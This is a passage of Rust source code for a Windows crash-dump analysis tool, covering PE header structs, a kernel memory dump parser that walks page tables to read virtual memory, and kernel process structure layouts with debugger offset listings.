#[allow(non_camel_case_types, non_snake_case)] 278 | pub struct tagCONTEXTHEADER { 279 | pub Version: tagCTXVERSION, 280 | pub CommonHeader: tagCTXCOMMONHDR, 281 | pub ByRefHeader: tagBYREFHDR, 282 | } 283 | 284 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 285 | #[allow(non_snake_case, non_camel_case_types)] 286 | #[repr(transparent)] 287 | pub struct IMAGE_FILE_MACHINE { 288 | pub machine: u16, 289 | } 290 | 291 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 292 | #[allow(non_snake_case, non_camel_case_types)] 293 | #[repr(transparent)] 294 | pub struct IMAGE_FILE_CHARACTERISTICS { 295 | pub characteristics: u16, 296 | } 297 | 298 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 299 | #[allow(non_snake_case, non_camel_case_types)] 300 | #[repr(C)] 301 | pub struct IMAGE_FILE_HEADER { 302 | pub Machine: IMAGE_FILE_MACHINE, 303 | pub NumberOfSections: u16, 304 | pub TimeDateStamp: u32, 305 | pub PointerToSymbolTable: u32, 306 | pub NumberOfSymbols: u32, 307 | pub SizeOfOptionalHeader: u16, 308 | pub Characteristics: IMAGE_FILE_CHARACTERISTICS, 309 | } 310 | 311 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 312 | #[allow(non_snake_case, non_camel_case_types)] 313 | #[repr(transparent)] 314 | pub struct IMAGE_OPTIONAL_HEADER_MAGIC { 315 | pub header: u16, 316 | } 317 | 318 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 319 | #[allow(non_snake_case, non_camel_case_types)] 320 | #[repr(transparent)] 321 | pub struct IMAGE_SUBSYSTEM { 322 | pub subsystem: u16, 323 | } 324 | 325 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 326 | #[allow(non_snake_case, non_camel_case_types)] 327 | #[repr(transparent)] 328 | pub struct IMAGE_DLL_CHARACTERISTICS { 329 | pub characteristics: u16, 330 | } 331 | 332 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 333 | #[allow(non_snake_case, non_camel_case_types)] 334 | #[repr(C)] 335 | pub struct IMAGE_DATA_DIRECTORY { 336 | pub VirtualAddress: u32, 337 | pub Size: u32, 338 | } 339 | 340 | #[derive(PackedSize, Clone, Debug, Copy, DecodeLE)] 341 | #[allow(non_snake_case, non_camel_case_types)] 342 | #[repr(C, packed(4))] 343 | pub struct IMAGE_OPTIONAL_HEADER64 { 344 | pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC, 345 | pub MajorLinkerVersion: u8, 346 | pub MinorLinkerVersion: u8, 347 | pub SizeOfCode: u32, 348 | pub SizeOfInitializedData: u32, 349 | pub SizeOfUninitializedData: u32, 350 | pub AddressOfEntryPoint: u32, 351 | pub BaseOfCode: u32, 352 | pub ImageBase: u64, 353 | pub SectionAlignment: u32, 354 | pub FileAlignment: u32, 355 | pub MajorOperatingSystemVersion: u16, 356 | pub MinorOperatingSystemVersion: u16, 357 | pub MajorImageVersion: u16, 358 | pub MinorImageVersion: u16, 359 | pub MajorSubsystemVersion: u16, 360 | pub MinorSubsystemVersion: u16, 361 | pub Win32VersionValue: u32, 362 | pub SizeOfImage: u32, 363 | pub SizeOfHeaders: u32, 364 | pub CheckSum: u32, 365 | pub Subsystem: IMAGE_SUBSYSTEM, 366 | pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS, 367 | pub SizeOfStackReserve: u64, 368 | pub SizeOfStackCommit: u64, 369 | pub SizeOfHeapReserve: u64, 370 | pub SizeOfHeapCommit: u64, 371 | pub LoaderFlags: u32, 372 | pub NumberOfRvaAndSizes: u32, 373 | pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 374 | } 375 | 376 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy)] 377 | #[allow(non_snake_case, non_camel_case_types)] 378 | #[repr(C)] 379 | pub struct IMAGE_NT_HEADERS64 { 380 | pub Signature: u32, 381 | pub FileHeader: IMAGE_FILE_HEADER, 382 | pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, 383 | } 384 | 385 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 386 | #[allow(non_snake_case, non_camel_case_types)] 387 | #[repr(transparent)] 388 | pub struct IMAGE_SECTION_CHARACTERISTICS { 389 | pub characteristics: u32, 390 | } 391 | 392 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 393 | #[allow(non_snake_case, non_camel_case_types)] 394 | #[repr(C)] 395 | pub struct IMAGE_SECTION_HEADER_0 { 396 | // Its an union, but we don't care about the PhysicalAddress, and both are u32 397 | //pub PhysicalAddress: u32, 398 | pub VirtualSize: u32, 399 | } 400 | 401 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy)] 402 | #[allow(non_snake_case, non_camel_case_types)] 403 | #[repr(C)] 404 | pub struct IMAGE_SECTION_HEADER { 405 | pub Name: [u8; 8], 406 | pub Misc: IMAGE_SECTION_HEADER_0, 407 | pub VirtualAddress: u32, 408 | pub SizeOfRawData: u32, 409 | pub PointerToRawData: u32, 410 | pub PointerToRelocations: u32, 411 | pub PointerToLinenumbers: u32, 412 | pub NumberOfRelocations: u16, 413 | pub NumberOfLinenumbers: u16, 414 | pub Characteristics: IMAGE_SECTION_CHARACTERISTICS, 415 | } 416 | 417 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 418 | #[allow(non_snake_case, non_camel_case_types)] 419 | #[repr(C)] 420 | pub struct IMAGE_DOS_HEADER { 421 | pub e_magic: u16, 422 | pub e_cblp: u16, 423 | pub e_cp: u16, 424 | pub e_crlc: u16, 425 | pub e_cparhdr: u16, 426 | pub e_minalloc: u16, 427 | pub e_maxalloc: u16, 428 | pub e_ss: u16, 429 | pub e_sp: u16, 430 | pub e_csum: u16, 431 | pub e_ip: u16, 432 | pub e_cs: u16, 433 | pub e_lfarlc: u16, 434 | pub e_ovno: u16, 435 | pub e_res: [u16; 4], 436 | pub e_oemid: u16, 437 | pub e_oeminfo: u16, 438 | pub e_res2: [u16; 10], 439 | pub e_lfanew: i32, 440 | } 441 | -------------------------------------------------------------------------------- /src/kdmp/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod parser; 2 | pub mod structs; -------------------------------------------------------------------------------- /src/kdmp/parser.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | cmp, 3 | collections::HashMap, 4 | fmt::UpperHex, 5 | mem::size_of, 6 | ops::{Add, BitAnd, Shl, Shr}, 7 | usize, 8 | }; 9 | 10 | use windows::Win32::System::Diagnostics::Debug::DUMP_HEADER64; 11 | 12 | use crate::irundown::locate::get_com_data_section_info; 13 | 14 | use super::structs::BitmapHeader; 15 | 16 | #[derive(Debug)] 17 | pub enum ParsingError { 18 | BadAlignment, 19 | BufferTooSmall, 20 | BadSignature, 21 | BadDumpType, 22 | } 23 | 24 | #[derive(Debug)] 25 | pub enum PageError { 26 | RangeTooLong, 27 | PageNotInDump, 28 | } 29 | 30 | pub struct PageEntry { 31 | value: u64, 32 | } 33 | 34 | impl PageEntry { 35 | pub fn from(value: u64) -> Self { 36 | Self { value: value } 37 | } 38 | 39 | pub fn is_present(&self) -> bool { 40 | (self.value & 1) != 0 41 | } 42 | 43 | pub fn is_large_page(&self) -> bool { 44 | (self.value & 128) != 0 45 | } 46 | 47 | pub fn get_page_frame_number(&self) -> u64 { 48 | (self.value & PAGE_FRAME_NUMBER_MASK) >> PAGE_FRAME_NUMBER_BITSHIFT 49 | } 50 | } 51 | 52 | #[derive(Eq, PartialEq, Hash, Debug, Clone, Copy)] 53 | pub struct PhysicalAddress { 54 | addr: u64, 55 | } 56 | 57 | #[derive(Eq, PartialEq, Hash, Debug, Clone, Copy)] 58 | pub struct VirtualAddress { 59 | pub addr: u64, 60 | } 61 | 62 | impl PhysicalAddress { 63 | pub fn from(addr: u64) -> Self { 64 | PhysicalAddress { addr: addr } 65 | } 66 | } 67 | 68 | impl UpperHex for VirtualAddress { 69 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 70 | self.addr.fmt(f) 71 | } 72 | } 73 | impl UpperHex for PhysicalAddress { 74 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 75 | self.addr.fmt(f) 76 | } 77 | } 78 | 79 | impl VirtualAddress { 80 | pub fn from(addr: u64) -> Self { 81 | VirtualAddress { addr: addr } 82 | } 83 | 84 | pub fn get_pml4_offset(&self) -> u64 { 85 | ((self.addr & PML4_INDEX_MASK) >> PML4_INDEX_BITSHIFT) << 3 86 | } 87 | 88 | pub fn get_pdpt_offset(&self) -> u64 { 89 | ((self.addr & PDPT_INDEX_MASK) >> PDPT_INDEX_BITSHIFT) << 3 90 | } 91 | 92 | pub fn get_pdt_offset(&self) -> u64 { 93 | ((self.addr & PD_INDEX_MASK) >> PD_INDEX_BITSHIFT) << 3 94 | } 95 | 96 | pub fn get_pt_offset(&self) -> u64 { 97 | ((self.addr & PT_INDEX_MASK) >> PT_INDEX_BITSHIFT) << 3 98 | } 99 | 100 | pub fn get_offset(&self) -> u64 { 101 | self.addr & PT_OFFSET_MASK 102 | } 103 | 104 | pub fn get_large_page_offset(&self) -> u64 { 105 | self.addr & 0x1fffff 106 | } 107 | } 108 | 109 | impl Add for VirtualAddress { 110 | type Output = Self; 111 | 112 | fn add(self, rhs: Self) -> Self { 113 | Self { 114 | addr: self.addr + rhs.addr, 115 | } 116 | } 117 | } 118 | 119 | impl Add for VirtualAddress { 120 | type Output = Self; 121 | fn add(self, rhs: u64) -> Self::Output { 122 | Self { 123 | addr: self.addr + rhs, 124 | } 125 | } 126 | } 127 | impl Add for PhysicalAddress { 128 | type Output = Self; 129 | 130 | fn add(self, rhs: Self) -> Self { 131 | Self { 132 | addr: self.addr + rhs.addr, 133 | } 134 | } 135 | } 136 | 137 | impl Add for PhysicalAddress { 138 | type Output = Self; 139 | fn add(self, rhs: u64) -> Self::Output { 140 | Self { 141 | addr: self.addr + rhs, 142 | } 143 | } 144 | } 145 | 146 | impl BitAnd for PhysicalAddress { 147 | type Output = Self; 148 | 149 | fn bitand(self, rhs: u64) -> Self { 150 | Self { 151 | addr: self.addr & rhs, 152 | } 153 | } 154 | } 155 | 156 | impl BitAnd for VirtualAddress { 157 | type Output = Self; 158 | 159 | fn bitand(self, rhs: u64) -> Self { 160 | Self { 161 | addr: self.addr & rhs, 162 | } 163 | } 164 | } 165 | 166 | impl Shl for PhysicalAddress { 167 | type Output = Self; 168 | 169 | fn shl(self, rhs: usize) -> Self::Output { 170 | Self { 171 | addr: self.addr << rhs, 172 | } 173 | } 174 | } 175 | 176 | impl Shl for VirtualAddress { 177 | type Output = Self; 178 | 179 | fn shl(self, rhs: usize) -> Self::Output { 180 | Self { 181 | addr: self.addr << rhs, 182 | } 183 | } 184 | } 185 | 186 | impl Shr for PhysicalAddress { 187 | type Output = Self; 188 | 189 | fn shr(self, rhs: usize) -> Self::Output { 190 | Self { 191 | addr: self.addr >> rhs, 192 | } 193 | } 194 | } 195 | 196 | impl Shr for VirtualAddress { 197 | type Output = Self; 198 | 199 | fn shr(self, rhs: usize) -> Self::Output { 200 | Self { 201 | addr: self.addr >> rhs, 202 | } 203 | } 204 | } 205 | 206 | const PAGE_FRAME_NUMBER_MASK: u64 = 207 | 0b0000000000000000_111111111111111111111111111111111111_000000000000; 208 | const PAGE_FRAME_NUMBER_BITSHIFT: usize = 12; 209 | 210 | const PML4_INDEX_MASK: u64 = 0b0000000000000000_111111111_000000000000000000000000000000000000000; 211 | const PML4_INDEX_BITSHIFT: usize = 39; 212 | const PDPT_INDEX_MASK: u64 = 0b0000000000000000000000000_111111111_000000000000000000000000000000; 213 | const PDPT_INDEX_BITSHIFT: usize = 30; 214 | const PD_INDEX_MASK: u64 = 0b0000000000000000000000000000000000_111111111_000000000000000000000; 215 | const PD_INDEX_BITSHIFT: usize = 21; 216 | const PT_INDEX_MASK: u64 = 0b0000000000000000000000000000000000000000000_111111111_000000000000; 217 | const PT_INDEX_BITSHIFT: usize = 12; 218 | const PT_OFFSET_MASK: u64 = 0b00000000000000000000000000000000000000000000000000000_111111111111; 219 | 220 | const PAGE_SIZE: usize = 0x1000; 221 | 222 | pub trait Parsable<'a> { 223 | fn read_physical_memory( 224 | &self, 225 | phys_addr: PhysicalAddress, 226 | len: usize, 227 | ) -> Result<&[u8], PageError>; 228 | fn read_physical_memory_page(&self, phys_addr: PhysicalAddress) -> Result<&[u8], PageError>; 229 | fn from_buffer(buf: &'a [u8]) -> Result 230 | where 231 | Self: Sized; 232 | fn read_virtual_memory_page( 233 | &self, 234 | pml4: PhysicalAddress, 235 | virt_addr: VirtualAddress, 236 | ) -> Result<&[u8], PageError>; 237 | fn read_virtual_memory( 238 | &self, 239 | pml4: PhysicalAddress, 240 | virt_addr: VirtualAddress, 241 | len: usize, 242 | ) -> Result, PageError>; 243 | fn get_ipid_table(&self, process_directory_base: PhysicalAddress) -> Option; 244 | } 245 | 246 | pub struct DmpParser<'a> { 247 | pub buffer: &'a [u8], 248 | pub pages: HashMap, 249 | pub directory_table_base: PhysicalAddress, 250 | pub ps_active_process_list: VirtualAddress, 251 | } 252 | 253 | impl<'a> Parsable<'a> for DmpParser<'a> { 254 | fn from_buffer(buf: &'a [u8]) -> Result { 255 | let dmp_headers = get_dump_headers_from_buffer(buf)?; 256 | 257 | let bitmap_header = 258 | get_bitmap_headers_from_buffer(&buf[size_of::()..buf.len()])?; 259 | 260 | let mut dmp_pages: HashMap = HashMap::new(); 261 | 262 | let mut current_page = bitmap_header.FirstPage as usize; 263 | let bitmap_size = bitmap_header.Pages / 8; 264 | 265 | let bitmap_data = &buf[(size_of::() + size_of::())..buf.len()]; 266 | 267 | for bitmap_index in 0..bitmap_size { 268 | let byte = bitmap_data[bitmap_index as usize]; 269 | 270 | for bit_index in 0..8 { 271 | let bit = (byte >> bit_index) & 1; 272 | if bit != 0 { 273 | let pfn = (bitmap_index * 8) + bit_index as u64; 274 | let pa = pfn * PAGE_SIZE as u64; 275 | 276 | dmp_pages.insert(PhysicalAddress::from(pa), current_page); 277 | 278 | current_page += PAGE_SIZE; 279 | } 280 | } 281 | } 282 | 283 | let dmp = DmpParser { 284 | buffer: buf, 285 | pages: dmp_pages, 286 | directory_table_base: PhysicalAddress::from(dmp_headers.DirectoryTableBase), 287 | ps_active_process_list: VirtualAddress::from(dmp_headers.PsActiveProcessHead), 288 | }; 289 | 290 | Ok(dmp) 291 | } 292 | 293 | fn read_physical_memory_page(&self, phys_addr: PhysicalAddress) -> Result<&[u8], PageError> { 294 | let page_offset = self 295 | .pages 296 | .get(&phys_addr) 297 | .ok_or_else(|| PageError::PageNotInDump)?; 298 | 299 | Ok(&self.buffer[*page_offset..(page_offset + PAGE_SIZE)]) 300 | } 301 | 302 | fn read_physical_memory( 303 | &self, 304 | phys_addr: PhysicalAddress, 305 | len: usize, 306 | ) -> Result<&[u8], PageError> { 307 | if ((phys_addr.addr & 0xFFF) as usize + len) > PAGE_SIZE { 308 | println!("Tried read @{:#X} for {:#X}", phys_addr, len); 309 | return Err(PageError::RangeTooLong); 310 | } 311 | let data = self.read_physical_memory_page(phys_addr & !0xFFF)?; 312 | let start_offset = phys_addr.addr as usize % PAGE_SIZE; 313 | Ok(&data[start_offset..start_offset + len]) 314 | } 315 | 316 | fn read_virtual_memory_page( 317 | &self, 318 | pml4: PhysicalAddress, 319 | virt_addr: VirtualAddress, 320 | ) -> Result<&[u8], PageError> { 321 | let page_frame_number = PageEntry::from(pml4.addr).get_page_frame_number(); 322 | let pml4_base = PhysicalAddress::from(page_frame_number << 12); 323 | let pml4_offset = virt_addr.get_pml4_offset(); 324 | 325 | let level4_entry_address = PhysicalAddress::from(pml4_base.addr + pml4_offset); 326 | 327 | let level4_entry_data = self.read_physical_memory(level4_entry_address, 0x8)?; 328 | let level4_entry = u64::from_le_bytes(level4_entry_data.try_into().unwrap()); 329 | 330 | let pml4_entry = PageEntry::from(level4_entry); 331 | 332 | if !pml4_entry.is_present() { 333 | println!("Error level 4"); 334 | return Err(PageError::PageNotInDump); 335 | } 336 | 337 | let pdpt_base = PhysicalAddress::from(pml4_entry.get_page_frame_number() << 12); 338 | let pdpt_offset = virt_addr.get_pdpt_offset(); 339 | 340 | let pdpt_entry_address = PhysicalAddress::from(pdpt_base.addr + pdpt_offset); 341 | let pdpt_entry_data = self.read_physical_memory(pdpt_entry_address, 0x8)?; 342 | let pdpt_entry = u64::from_le_bytes(pdpt_entry_data.try_into().unwrap()); 343 | 344 | let pdpt_entry = PageEntry::from(pdpt_entry); 345 | 346 | if !pdpt_entry.is_present() { 347 | println!("Error level 3"); 348 | return Err(PageError::PageNotInDump); 349 | } 350 | 351 | let pdt_base = PhysicalAddress::from(pdpt_entry.get_page_frame_number() << 12); 352 | let pdt_offset = virt_addr.get_pdt_offset(); 353 | 354 | let pdt_entry_address = PhysicalAddress::from(pdt_base.addr + pdt_offset); 355 | let pdt_entry_data = self.read_physical_memory(pdt_entry_address, 0x8)?; 356 | let pdt_entry = u64::from_le_bytes(pdt_entry_data.try_into().unwrap()); 357 | 358 | let pdt_entry = PageEntry::from(pdt_entry); 359 | 360 | if !pdt_entry.is_present() { 361 | println!("Error level 2"); 362 | return Err(PageError::PageNotInDump); 363 | } 364 | 365 | if pdt_entry.is_large_page() { 366 | let pt_base = PhysicalAddress::from(pdt_entry.get_page_frame_number() << 12); 367 | let pt_offset = virt_addr.get_large_page_offset(); 368 | 369 | let pt_entry_address = PhysicalAddress::from((pt_base.addr + pt_offset) & !0xFFF); 370 | let pt_entry_data = self.read_physical_memory(pt_entry_address, PAGE_SIZE)?; 371 | 372 | return Ok(pt_entry_data); 373 | } 374 | 375 | let pt_base = PhysicalAddress::from(pdt_entry.get_page_frame_number() << 12); 376 | let pt_offset = virt_addr.get_pt_offset(); 377 | 378 | let pt_entry_address = PhysicalAddress::from(pt_base.addr + pt_offset); 379 | let pt_entry_data = self.read_physical_memory(pt_entry_address, 0x8)?; 380 | let pt_entry = u64::from_le_bytes(pt_entry_data.try_into().unwrap()); 381 | 382 | let pt_entry = PageEntry::from(pt_entry); 383 | 384 | if !pt_entry.is_present() { 385 | println!("Error level 1"); 386 | return Err(PageError::PageNotInDump); 387 | } 388 | 389 | let page_base = PhysicalAddress::from(pt_entry.get_page_frame_number() << 12); 390 | 391 | let page_entry_data = self.read_physical_memory(page_base, PAGE_SIZE)?; 392 | Ok(page_entry_data) 393 | } 394 | 395 | fn read_virtual_memory( 396 | &self, 397 | pml4: PhysicalAddress, 398 | virt_addr: VirtualAddress, 399 | len: usize, 400 | ) -> Result, PageError> { 401 | let offset_to_page = PAGE_SIZE - (virt_addr.addr as usize % PAGE_SIZE); 402 | let beginning_len = cmp::min(len, offset_to_page); 403 | 404 | let mut beginning_data = self.read_virtual_memory_page(pml4, virt_addr)?.to_vec(); 405 | beginning_data = beginning_data[(virt_addr.addr as usize % PAGE_SIZE) 406 | ..((virt_addr.addr as usize % PAGE_SIZE) + beginning_len)] 407 | .to_vec(); 408 | 409 | let complete_pages = (len - beginning_len) / PAGE_SIZE; 410 | 411 | for i in 0..complete_pages { 412 | let mut page_addr = virt_addr + offset_to_page as u64; 413 | page_addr = page_addr + (i * PAGE_SIZE) as u64; 414 | 415 | beginning_data.extend_from_slice(self.read_virtual_memory_page(pml4, page_addr)?); 416 | } 417 | 418 | let ending_len = len - (beginning_len + (complete_pages * PAGE_SIZE)); 419 | let ending_addr = VirtualAddress::from( 420 | virt_addr.addr + beginning_len as u64 + (complete_pages * PAGE_SIZE) as u64, 421 | ); 422 | let ending_page = self.read_virtual_memory_page(pml4, ending_addr)?; 423 | let ending_page = &ending_page[..ending_len]; 424 | 425 | beginning_data.extend_from_slice(ending_page); 426 | Ok(beginning_data) 427 | } 428 | 429 | fn get_ipid_table(&self, process_directory_base: PhysicalAddress) -> Option { 430 | let com_data_info = get_com_data_section_info()?; 431 | 432 | let _remote_com_section_data = self.read_virtual_memory( 433 | process_directory_base, 434 | VirtualAddress::from(com_data_info.base as u64), 435 | com_data_info.size, 436 | ); 437 | 438 | Some(0) 439 | } 440 | 441 | } 442 | 443 | fn get_ref_from_buffer(buf: &[u8]) -> Result<&T, ParsingError> { 444 | if buf.len() < size_of::() { 445 | return Err(ParsingError::BufferTooSmall); 446 | } 447 | 448 | if (buf.as_ptr() as usize) % std::mem::align_of::() != 0 { 449 | return Err(ParsingError::BadAlignment); 450 | } 451 | 452 | Ok(unsafe { &*(buf.as_ptr() as *const T) }) 453 | } 454 | 455 | fn get_dump_headers_from_buffer(buf: &[u8]) -> Result<&DUMP_HEADER64, ParsingError> { 456 | let headers: &DUMP_HEADER64 = get_ref_from_buffer(buf)?; 457 | 458 | if headers.Signature != 0x45474150 { 459 | return Err(ParsingError::BadSignature); 460 | } 461 | 462 | if headers.ValidDump != 0x34365544 { 463 | return Err(ParsingError::BadSignature); 464 | } 465 | 466 | if headers.DumpType != 0x6 { 467 | return Err(ParsingError::BadDumpType); 468 | } 469 | 470 | Ok(headers) 471 | } 472 | 473 | fn get_bitmap_headers_from_buffer(buf: &[u8]) -> Result<&BitmapHeader, ParsingError> { 474 | let bitmap_headers: &BitmapHeader = get_ref_from_buffer(buf)?; 475 | 476 | if bitmap_headers.Signature != 0x504d4453 { 477 | return Err(ParsingError::BadSignature); 478 | } 479 | 480 | if bitmap_headers.ValidDump != 0x504d5544 { 481 | return Err(ParsingError::BadDumpType); 482 | } 483 | 484 | Ok(bitmap_headers) 485 | } 486 | -------------------------------------------------------------------------------- /src/kdmp/structs.rs: -------------------------------------------------------------------------------- 1 | use endian_codec::{DecodeLE, EncodeLE, PackedSize}; 2 | 3 | #[derive(Debug)] 4 | #[allow(non_snake_case)] 5 | #[repr(C, packed)] 6 | pub struct BitmapHeader { 7 | pub Signature: u32, 8 | pub ValidDump: u32, 9 | padding: [u8; 0x18], 10 | pub FirstPage: u64, 11 | pub TotalPresentPages: u64, 12 | pub Pages: u64, 13 | } 14 | 15 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 16 | #[allow(non_snake_case)] 17 | #[repr(C)] 18 | pub struct LIST_ENTRY { 19 | pub Flink: usize, 20 | pub Blink: usize, 21 | } 22 | 23 | 24 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 25 | #[allow(non_snake_case)] 26 | #[repr(C)] 27 | pub struct PEB { 28 | pub Reserved1: [u8; 2], 29 | pub BeingDebugged: u8, 30 | pub Reserved2: [u8; 1], 31 | padding: u32, 32 | pub Reserved3: [usize; 2], 33 | pub Ldr: usize, 34 | pub ProcessParameters: usize, 35 | pub Reserved4: [usize; 3], 36 | pub AtlThunkSListPtr: usize, 37 | pub Reserved5: usize, 38 | pub Reserved6: u32, 39 | pub Reserved7: usize, 40 | pub Reserved8: u32, 41 | pub AtlThunkSListPtr32: u32, 42 | pub Reserved9: [usize; 45], 43 | pub Reserved10: [u8; 96], 44 | pub PostProcessInitRoutine: usize, 45 | pub Reserved11: [u8; 128], 46 | pub Reserved12: [usize; 1], 47 | pub SessionId: u32, 48 | } 49 | 50 | 51 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 52 | #[allow(non_snake_case)] 53 | #[repr(C)] 54 | pub struct PEB_LDR_DATA { 55 | pub Reserved1: [u8; 8], 56 | pub Reserved2: [usize; 3], 57 | pub InMemoryOrderModuleList: LIST_ENTRY, 58 | } 59 | 60 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 61 | #[allow(non_snake_case)] 62 | #[repr(C)] 63 | pub struct _KPROCESS { 64 | fill1: [u8; 0x20], 65 | pub DirectoryTableBase: u64, 66 | fill2: [u8; 0x408], 67 | } 68 | 69 | /* 70 | [+0x000] Header [Type: _DISPATCHER_HEADER] 71 | [+0x018] ProfileListHead [Type: _LIST_ENTRY] 72 | [+0x028] DirectoryTableBase : 0x18a96e000 [Type: unsigned __int64] 73 | [+0x030] ThreadListHead [Type: _LIST_ENTRY] 74 | [+0x040] ProcessLock : 0x0 [Type: unsigned long] 75 | [+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long] 76 | [+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64] 77 | [+0x050] Affinity [Type: _KAFFINITY_EX] 78 | [+0x158] ReadyListHead [Type: _LIST_ENTRY] 79 | [+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY] 80 | [+0x170] ActiveProcessors [Type: _KAFFINITY_EX] 81 | [+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long] 82 | [+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long] 83 | [+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long] 84 | [+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long] 85 | [+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long] 86 | [+0x278 ( 5: 5)] CheckStackExtents : 0x1 [Type: unsigned long] 87 | [+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long] 88 | [+0x278 (10: 7)] PpmPolicy : 0x0 [Type: unsigned long] 89 | [+0x278 (11:11)] VaSpaceDeleted : 0x0 [Type: unsigned long] 90 | [+0x278 (12:12)] MultiGroup : 0x0 [Type: unsigned long] 91 | [+0x278 (31:13)] ReservedFlags : 0x0 [Type: unsigned long] 92 | [+0x278] ProcessFlags : 32 [Type: long] 93 | [+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long] 94 | [+0x280] BasePriority : 8 [Type: char] 95 | [+0x281] QuantumReset : 6 [Type: char] 96 | [+0x282] Visited : 0 [Type: char] 97 | [+0x283] Flags [Type: _KEXECUTE_OPTIONS] 98 | [+0x284] ThreadSeed [Type: unsigned short [32]] 99 | [+0x2c4] IdealProcessor [Type: unsigned short [32]] 100 | [+0x304] IdealNode [Type: unsigned short [32]] 101 | [+0x344] IdealGlobalNode : 0x0 [Type: unsigned short] 102 | [+0x346] Spare1 : 0x0 [Type: unsigned short] 103 | [+0x348] StackCount [Type: _KSTACK_COUNT] 104 | [+0x350] ProcessListEntry [Type: _LIST_ENTRY] 105 | [+0x360] CycleTime : 0x20ab0b7 [Type: unsigned __int64] 106 | [+0x368] ContextSwitches : 0x26 [Type: unsigned __int64] 107 | [+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *] 108 | [+0x378] FreezeCount : 0x0 [Type: unsigned long] 109 | [+0x37c] KernelTime : 0x2 [Type: unsigned long] 110 | [+0x380] UserTime : 0x0 [Type: unsigned long] 111 | [+0x384] ReadyTime : 0x6 [Type: unsigned long] 112 | [+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64] 113 | [+0x390] AddressPolicy : 0x0 [Type: unsigned char] 114 | [+0x391] Spare2 [Type: unsigned char [71]] 115 | [+0x3d8] InstrumentationCallback : 0x0 [Type: void *] 116 | [+0x3e0] SecureState [Type: ] 117 | [+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64] 118 | [+0x3f0] UserWaitTime : 0x3eaa [Type: unsigned __int64] 119 | [+0x3f8] LastRebalanceQpc : 0x649d1088 [Type: unsigned __int64] 120 | [+0x400] PerProcessorCycleTimes : 0x9340 [Type: void *] 121 | [+0x408] ExtendedFeatureDisableMask : 0x0 [Type: unsigned __int64] 122 | [+0x410] PrimaryGroup : 0x0 [Type: unsigned short] 123 | [+0x412] Spare3 [Type: unsigned short [3]] 124 | [+0x418] UserCetLogging : 0x0 [Type: void *] 125 | [+0x420] CpuPartitionList [Type: _LIST_ENTRY] 126 | [+0x430] EndPadding [Type: unsigned __int64 [1]] 127 | 128 | */ 129 | 130 | #[derive(Debug, PackedSize, EncodeLE, DecodeLE, Clone, Copy)] 131 | #[allow(non_snake_case)] 132 | #[repr(C)] 133 | pub struct _EPROCESS { 134 | pub pcb: _KPROCESS, 135 | ProcessLock: u64, 136 | pub UniqueProcessId: u64, 137 | pub ActiveProcessLinks: LIST_ENTRY, 138 | RundownProtect: [u8; 0x18], 139 | anonymous_union: u32, 140 | anonymous_union2: u32, 141 | CreateTime: u64, 142 | ProcessQuotaUsage: u64, 143 | ProcessQuotaPeak: u64, 144 | PeakVirtualSize: u64, 145 | VirtualSize: u64, 146 | SessionProcessLinks: LIST_ENTRY, 147 | anonymous_union3: u64, 148 | Token: usize, 149 | MmReserved: u64, 150 | AddressCreationLock: u64, 151 | PageTableCommitmentLock: u64, 152 | RotateInProgress: u64, 153 | ForkInProgress: u64, 154 | CommitChargeJob: u64, 155 | CloneRoot: usize, 156 | NumberOfPrivatePages: u64, 157 | NumberOfLockedPages: u64, 158 | Win32Process: u64, 159 | Job: u64, 160 | SectionObject: u64, 161 | SectionBaseAddress: u64, 162 | Cookie: u64, 163 | WorkingSetWatch: u64, 164 | Win32WindowStation: u64, 165 | InheritedFromUniqueProcessId: u64, 166 | OwnerProcessId: u64, 167 | pub Peb: usize, 168 | Session: usize, 169 | Spare1: usize, 170 | QuotaBlock: usize, 171 | ObjectTable: usize, 172 | DebugPort: usize, 173 | WoW64Process: usize, 174 | DeviceMap: usize, 175 | EtwDataSource: usize, 176 | PageDirectoryPte: usize, 177 | ImageFilePointer: usize, 178 | pub ImageFileName: [u8; 15], 179 | } 180 | 181 | /* 182 | +0x000 Pcb : _KPROCESS 183 | +0x438 ProcessLock : _EX_PUSH_LOCK 184 | +0x440 UniqueProcessId : 0x00000000`0000006c Void 185 | +0x448 ActiveProcessLinks : 